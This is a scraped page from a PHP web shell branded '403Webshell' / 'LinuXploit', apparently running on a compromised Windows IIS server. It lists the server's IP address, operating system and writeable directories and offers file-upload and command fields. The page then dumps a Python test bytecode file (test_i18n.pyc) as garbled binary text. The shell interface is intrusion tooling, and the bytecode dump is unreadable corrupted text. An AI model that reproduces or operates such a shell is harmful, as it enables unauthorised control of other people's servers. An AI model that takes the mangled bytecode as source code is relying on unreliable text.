403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_tools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_tools/__pycache__/test_i18n.cpython-313.pyc
�

��i�A���SrSSKrSSKrSSKrSSKrSSKJr SSKJr SSK	J
r
 SSKJrJ
r
 SSKJrJr \"5 \"\5R%5R&S-rS	r"S
S\R,5rSrS
r\S:XaT\"\R85S:�a,\R8SS:Xa\"5 \R:"S5 \R<"5 gg)z%Tests to cover the Tools/i18n package�N)�dedent)�Path)�assert_python_ok)�skip_if_missing�toolsdir)�temp_cwd�temp_dir�	i18n_datac�"�[R"S5nSn[R"XU5n[R"S5nSn[R"X4U5n[R"S5nSn[R"XVU5nU$)zjNormalize the POT creation timestamp, charset and
file locations to make the POT file easier to compare.

z"POT-Creation-Date: .+?\\n"z-"POT-Creation-Date: 2000-01-01 00:00+0000\\n"z*"Content-Type: text/plain; charset=.+?\\n"z,"Content-Type: text/plain; charset=UTF-8\\n"z#:.+c�H�USR[RS5$)Nr�/)�replace�os�sep)�matchs �.C:\Python313\\Lib\test\test_tools\test_i18n.pyr�#normalize_POT_file.<locals>.replace's���Q�x�������,�,�)�re�compile�sub)�pot�date_pattern�header�charset_pattern�charset�fileloc_patternrs       r�normalize_POT_filersx���:�:�<�=�L�
=�F�
�&�&��s�
+�C��j�j�!N�O�O�=�G�
�&�&��3�
/�C��j�j��)�O�-�
�&�&��3�
/�C��Jrc�~�\rSrSrSr\"\SS5rSrSr	Sr
SS	S
.SjrSrS
r
\R"\R"R%S5S5S5rSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!Sr"S r#S!r$S"r%S#r&S$r'S%r(S&r)S'r*S(r+S)r,S*r-S+r.S,r/S-r0S.r1S/r2S0r3S1r4g2)3�Test_pygettext�-zTests for the pygettext.py tool�i18nzpygettext.pyc���0nURS5HYnU(aURS5(aM"URS5nURSS5upEUR5X$'M[ U$)z9utility: return the header of a .po file as a dictionary �
)�#�msgid�msgstr�"�:�)�split�
startswith�strip)�self�data�headers�line�key�vals      r�
get_header�Test_pygettext.get_header2sb�����J�J�t�$�D��4�?�?�+C�D�D���:�:�c�?�D��z�z�#�q�)�H�C��9�9�;�G�L�%��rc���/nSn/nURS5H�nU(a]URS5(a!URURS55 O&URSR	U55 /nSnMgURS5(dMU[S5SnURURS55 SnM� U(a URSR	U55 U$)z<utility: return all msgids in .po file as a list of strings Fr$r(zmsgid NT)r+r,�appendr-�join�len)r.r/�msgids�
reading_msgid�	cur_msgidr1s      r�
get_msgids�Test_pygettext.get_msgids=s������
��	��J�J�t�$�D���?�?�3�'�'��$�$�T�Z�Z��_�5��M�M�$�)�)�I�"6�7� "�I�$)�M�����x�(�(��C��M�N�+��� � ����C��1� $�
�%���
�
�d�i�i�	�2�3��
rc�Z�SUlUR[U5[U55 g)z Check if two POT files are equalN)�maxDiff�assertEqualr)r.�expected�actuals   r�assert_POT_equal�Test_pygettext.assert_POT_equalUs%��������+�H�5�7I�&�7Q�Rr�T��args�strictc��Sn[S5 [USSS9nURU5 SSS5 [SUR/UQUP76nU(aURURS5 [SSS9nUR5nSSS5 SSS5 URW5$!,(df   N�=f!,(df   N8=f!,(df   NA=f)	z0Return all msgids extracted from module_content.ztest.pyN�w�utf-8��encoding�-Xutf8r�messages.pot)	r�open�writer�scriptrA�err�readr=)r.�module_contentrHrI�filename�fp�resr/s        r�extract_from_str�Test_pygettext.extract_from_strZs�����
�d�^��h��g�6�"�����(�7�"�8�T�[�[�J�4�J��J�C��� � ����#�.��n�w�7�2��w�w�y��8�
����t�$�$�7�6��
8�7��
�^�s:�C�B,�AC�:B=�C�,
B:	�6C�=
C	�C�
Cc�$�URUSSS9$)z4Return all docstrings extracted from module_content.�z--docstringsFrG)rZ)r.rVs  r�extract_docstrings_from_str�*Test_pygettext.extract_docstrings_from_strgs���$�$�^�:K�TY�$�Z�Zrc�H�[S5n[SUR5 [SSS9nUR	5nSSS5 URW5nUR
SU5 UR
SU5 UR
SU5 UR
S	U5 UR
S
U5 UR
SU5 UR
SU5 UR
S
U5 UR
SU5 SSS5 g!,(df   N�=f!,(df   g=f)z�Make sure the required fields are in the header, according to:
http://www.gnu.org/software/gettext/manual/gettext.html#Header-Entry
NrOrPrLrMzProject-Id-Version�POT-Creation-DatezPO-Revision-DatezLast-Translatorz
Language-TeamzMIME-VersionzContent-TypezContent-Transfer-EncodingzGenerated-By)rrrSrQrUr4�assertIn)r.�cwdrXr/rs     r�test_header�Test_pygettext.test_headerks����d�^�s��X�t�{�{�3��n�w�7�2��w�w�y��8��_�_�T�*�F��M�M�.��7��M�M�-�v�6��M�M�,�f�5��M�M�+�V�4��M�M�/�6�2��M�M�.�&�1��M�M�.�&�1��M�M�5�v�>��M�M�.�&�1��^�7�7���^�s"�!D�D�B;D�
D	�D�
D!�aixzbpo-29972: broken test on AIXc��SSKJn [S5n[SUR5 [	SSS9nUR5nSSS5 UR
W5nUSnURS	5(aUS[S	5*nURUS
5 SSS5 g!,(df   Nd=f!,(df   g=f)z:Match the date format from xgettext for POT-Creation-Date r)�datetimeNrOrPrLrMraz\nz%Y-%m-%d %H:%M%z)
rhrrrSrQrUr4�endswithr9�strptime)r.rhrcrXr/r�creationDates       r�test_POT_Creation_Date�%Test_pygettext.test_POT_Creation_Date�s���	&�
�d�^�s��X�t�{�{�3��n�w�7�2��w�w�y��8��_�_�T�*�F�!�"5�6�L��$�$�U�+�+�+�L�c�%�j�[�9��
���l�,>�?��^�7�7���^�s#�!B3�B"�AB3�"
B0	�,B3�3
Cc�X�SH�n[5 [URUS35 UR[R
R
S55 [URUS35nURSUR5 SSS5 M� g!,(df   M�=f)N)z-oz	--output=�test�-s#Project-Id-Version: PACKAGE VERSION)	rrrS�
assertTruer�path�existsrb�out)r.�optrYs   r�test_output_option�!Test_pygettext.test_output_option�st��&�C��� ������T�l�;���������v� 6�7�&�t�{�{�s�e�1�I�>���
�
�D�c�g�g�N�	��'���s�A=B�
B)	c���SHLnURU5 UR[SU-55nURSU5 SSS5 MN g!,(df   M`=f)N�z	"""doc"""z
r'''doc'''zR'doc'zu"doc"zE                def foo(bar):
                    %s
                �doc��subTestr^rrb�r.rzr:s   r�test_funcdocstring�!Test_pygettext.test_funcdocstring��`��B�C����c�"��9�9�&�B��B�;����
�
�e�V�,�#�"�C�"�"���0A�
A#	c��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz5        def foo(bar):
            b"""doc"""
        rz�r^r�assertFalse�r.r:r&s   r�test_funcdocstring_bytes�'Test_pygettext.test_funcdocstring_bytes��F���1�1�&�:�3
���	
���V�F�V�E�u��~�%�V�F�G��F�
�
A�Ac��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz5        def foo(bar):
            f"""doc"""
        rzr�r�s   r�test_funcdocstring_fstring�)Test_pygettext.test_funcdocstring_fstring�r�r�c���SHLnURU5 UR[SU-55nURSU5 SSS5 MN g!,(df   M`=f)Nryz@                class C:
                    %s
                rzr{r}s   r�test_classdocstring�"Test_pygettext.test_classdocstring�r�r�c��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz0        class C:
            b"""doc"""
        rzr�r�s   r�test_classdocstring_bytes�(Test_pygettext.test_classdocstring_bytes�r�r�c��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz0        class C:
            f"""doc"""
        rzr�r�s   r�test_classdocstring_fstring�*Test_pygettext.test_classdocstring_fstring�r�r�c���SHLnURU5 UR[SU-55nURSU5 SSS5 MN g!,(df   M`=f)Nryz#                %s
                rzr{r}s   r�test_moduledocstring�#Test_pygettext.test_moduledocstring�s^��B�C����c�"��9�9�&�B��B�;����
�
�e�V�,�	#�"�C�"�"�r�c��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz        b"""doc"""
        rzr�r�s   r�test_moduledocstring_bytes�)Test_pygettext.test_moduledocstring_bytes��F���1�1�&�:�3
���	
���V�F�V�E�u��~�%�V�F�G��Fr�c��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz        f"""doc"""
        rzr�r�s   r�test_moduledocstring_fstring�+Test_pygettext.test_moduledocstring_fstring�r�r�c�J�URS5nURSU5 g)Nz_("""doc""" r'str' u"ing")�	docstring)r^rb�r.r:s  r�
test_msgid�Test_pygettext.test_msgid�s#���1�1�0�2���
�
�k�6�*rc��URS5nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz
_(b"""doc""")rz�r^r�r�s   r�test_msgid_bytes�Test_pygettext.test_msgid_bytes��8���1�1�/�B�����V�F�V�E�u��~�%�V�F�G��F��
=�=c��URS5nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz
_(f"""doc""")rzr�r�s   r�test_msgid_fstring�!Test_pygettext.test_msgid_fstring�r�r�c�\�UR[S55nURSU5 g)z2Test docstrings for functions with annotated args z9        def foo(bar: str):
            """doc"""
        rzN�r^rrbr�s  r�!test_funcdocstring_annotated_args�0Test_pygettext.test_funcdocstring_annotated_args��.���1�1�&�:�3
���	
�
�
�e�V�$rc�\�UR[S55nURSU5 g)z9Test docstrings for functions with annotated return type z;        def foo(bar) -> str:
            """doc"""
        rzNr�r�s  r�#test_funcdocstring_annotated_return�2Test_pygettext.test_funcdocstring_annotated_return�r�rc�\�UR[S55nURSU5 g)z5Test docstring for functions with default arg values z7        def foo(bar=()):
            """doc"""
        rzNr�r�s  r� test_funcdocstring_defvalue_args�/Test_pygettext.test_funcdocstring_defvalue_args�r�rc��UR[S55nURSU5 URSU5 URSU5 g)zyTest docstring extraction for multiple functions combining
annotated args, annotated return types and default arg values
z�        def foo1(bar: tuple=()) -> str:
            """doc1"""

        def foo2(bar: List[1:2]) -> (lambda x: x):
            """doc2"""

        def foo3(bar: 'func'=lambda x: x) -> {1: 2}:
            """doc3"""
        �doc1�doc2�doc3Nr�r�s  r�!test_funcdocstring_multiple_funcs�0Test_pygettext.test_funcdocstring_multiple_funcssL���1�1�&�	:�	3
�	��	
�
�
�f�f�%��
�
�f�f�%��
�
�f�f�%rc�\�UR[S55nURSU5 g)zTTest docstring extraction for a class with colons occurring within
the parentheses.
z\        class D(L[1:2], F({1: 2}), metaclass=M(lambda x: x)):
            """doc"""
        rzNr�r�s  r�test_classdocstring_early_colon�.Test_pygettext.test_classdocstring_early_colons0���1�1�&�:�3
���	
�
�
�e�V�$rc�\�UR[S55nURSU5 g)Nz"        f"{_('foo bar')}"
        �foo barr�r�s  r�test_calls_in_fstrings�%Test_pygettext.test_calls_in_fstrings#�.���1�1�&�:�3
���	
�
�
�i��(rc�\�UR[S55nURSU5 g)Nz#        rf"{_('foo bar')}"
        r�r�r�s  r�test_calls_in_fstrings_raw�)Test_pygettext.test_calls_in_fstrings_raw)r�rc�\�UR[S55nURSU5 g)Nz+        f"""{f'{_("foo bar")}'}"""
        r�r�r�s  r�test_calls_in_fstrings_nested�,Test_pygettext.test_calls_in_fstrings_nested/r�rc�\�UR[S55nURSU5 g)Nz&        f"{obj._('foo bar')}"
        r�r�r�s  r� test_calls_in_fstrings_attribute�/Test_pygettext.test_calls_in_fstrings_attribute5r�rc�\�UR[S55nURSU5 g)Nz*        f"{type(str)('foo bar')}"
        r��r^r�assertNotInr�s  r�(test_calls_in_fstrings_with_call_on_call�7Test_pygettext.test_calls_in_fstrings_with_call_on_call;s0���1�1�&�:�3
���	
����F�+rc�\�UR[S55nURSU5 g)Nz6        f"{_('foo {bar}').format(bar='baz')}"
        �	foo {bar}r�r�s  r�"test_calls_in_fstrings_with_format�1Test_pygettext.test_calls_in_fstrings_with_formatAs.���1�1�&�:�3
���	
�
�
�k�6�*rc��UR[S55nURUVs/sH
nSU;dMUPM sn5 gs snf)Nz%        f"{_(f'foo {bar}')}"
        r�r�r�s   r�)test_calls_in_fstrings_with_wrong_input_1�8Test_pygettext.test_calls_in_fstrings_with_wrong_input_1GsG���1�1�&�:�3
���	
���V�L�V�E�{�e�7K�%�V�L�M��Lr�c�\�UR[S55nURSU5 g)Nz        f"{_(1)}"
        r*r�r�s  r�)test_calls_in_fstrings_with_wrong_input_2�8Test_pygettext.test_calls_in_fstrings_with_wrong_input_2Ms0���1�1�&�:�3
���	
����F�#rc��UR[S55nURSU5 URSU5 g)Nz%        f"{_('foo', 'bar')}"
        �foo�barr�r�s  r�(test_calls_in_fstring_with_multiple_args�7Test_pygettext.test_calls_in_fstring_with_multiple_argsSs@���1�1�&�:�3
���	
�����'������'rc��UR[S55nURSU5 URSU5 URSU5 g)Nz)        f"{_('foo', bar='baz')}"
        r�r��bazr�r�s  r�'test_calls_in_fstring_with_keyword_args�6Test_pygettext.test_calls_in_fstring_with_keyword_argsZsP���1�1�&�:�3
���	
�����'������'������'rc��UR[S55nURSU5 URSU5 g)Nz*        f"{_(f'foo') + _('bar')}"
        r�r�)r^rr�rbr�s  r�5test_calls_in_fstring_with_partially_wrong_expression�DTest_pygettext.test_calls_in_fstring_with_partially_wrong_expressionbs>���1�1�&�:�3
���	
�����'��
�
�e�V�$rc�^�UR[S55nURUS/5 g)z@Test that function and class names are not mistakenly extracted.z�        def _(x):
            pass

        def _(x="foo"):
            pass

        async def _(x):
            pass

        class _(object):
            pass
        �N)rZrrAr�s  r�test_function_and_class_names�,Test_pygettext.test_function_and_class_namesis2���&�&�v�/�(
���	
����"��&rc��[5H>upnURUS9 URSS9nURXC5 SSS5 M@ g!,(df   MR=f)z9Test that the pygettext output exactly matches snapshots.)�
input_filerLrMN)�extract_from_snapshotsr|�	read_textrD)r.r��output_file�outputrBs     r�test_pygettext_output�$Test_pygettext.test_pygettext_outputzsS��/E�/G�+�J�V������4�&�0�0�'�0�B���%�%�h�7�5�4�0H�4�4�s�!A�
A	c���SnSnSn[S5 [S5n[USS5nURR	5 URSU<S3S	S
9 [USS5nURR	5 URSU<S3S	S
9 [US
S5nURR	5 URSU<S3S	S
9 [
SURU5 [S5RS	S
9nURSUS3U5 URSUS3U5 URX85 SSS5 SSS5 g!,(df   N=f!,(df   g=f)zCMake sure the directories are inspected for source files
bpo-31920
zText to translate1zText to translate2zText to ignoreN�pypkgzpymod.pyz_(�)rLrMzpkg.pyz	pymod2.py�CVSz	pymod3.pyrOrPzmsgid "r()rr	r�parent�mkdir�
write_textrrSr�rbr�)	r.�text1�text2�text3�sdir�pymod�pymod2�pymod3r/s	         r�test_files_list�Test_pygettext.test_files_list�sD��%��$�� ��
�d�^�X�d�^�t���w�
�3�E��L�L��� ����r�%��!�_�w��?��$��+�6�F��M�M���!�����5�)�1�o���@��$��{�3�F��M�M���!�����5�)�1�o���@��X�t�{�{�D�9���'�1�1�7�1�C�D��M�M�G�E�7�!�,�d�3��M�M�G�E�7�!�,�d�3����U�)�#,�^�^�^�^��^�^�s#�E!�D!E�?E!�
E	�E!�!
E/)r@N)5�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrrSr4r=rDrZr^rd�unittest�skipIf�sys�platformr,rlrvr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�__static_attributes__rFrrr r -s��)�
�(�F�N�
3�F�	��0S�
8:�$�%�[�2�4�_�_�S�\�\�,�,�U�3�4�6�@�6�@�"O�-�H�H�-�H�H�-�H�H�+�
H�H�%�%�%�&�$%�)�)�)�)�,�+�N�$�(�(�%�'�"8�*rr c#�# �SSSSSS.nUR5H�up[U[5(aUup[U-n[U-nO[U-nUR	S5nUR5n[
S5 [UR5RU5 [S[R/UQURP76 XC[S5RSS	94v� SSS5 M� g!,(df   M�=f7f)
Nr])z--escaperF)zmessages.pyz
fileloc.pyz
docstrings.py�
escapes.py)rzascii-escapes.potz.potrOrPrLrM)�items�
isinstance�tuple�DATA_DIR�with_suffix�
read_bytesrr�name�write_bytesrr rSr�)�	snapshotsrWrHr�r��contentss      rr�r��s����(�'�*�$�-/�	�I�$�/�/�+����h��&�&�$,�!�H�"�[�0�K�!�H�,�J�!�H�,�J�$�0�0��8�K��(�(�*��
�d�^�����!�-�-�h�7��X�~�'<�'<�
.�t�
.�'�_�_�
.����'�1�1�7�1�C�E�
E�	�^�,��^�s�A?D�A(C6�)
D�6
D	�Dc�b�[5H!upn[U5nURUSS9 M# g)NrLrM)r�rr�)�_r�r�s   r�update_POT_snapshotsr�s1��"8�":����#�F�+�����v���8�#;r�__main__r*z--snapshot-update)rrrrr�textwrapr�pathlibr�test.support.script_helperr�test.test_toolsrr�test.support.os_helperrr	�__file__�resolver�rr�TestCaser r�rrr9�argv�exit�mainrFrr�<module>r,s���+�	�	�
����7�5�5�����>�!�!�#�*�*�[�8���2l*�X�&�&�l*�^E�:9��z��
�3�8�8�}�q��S�X�X�a�[�,?�?���������M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit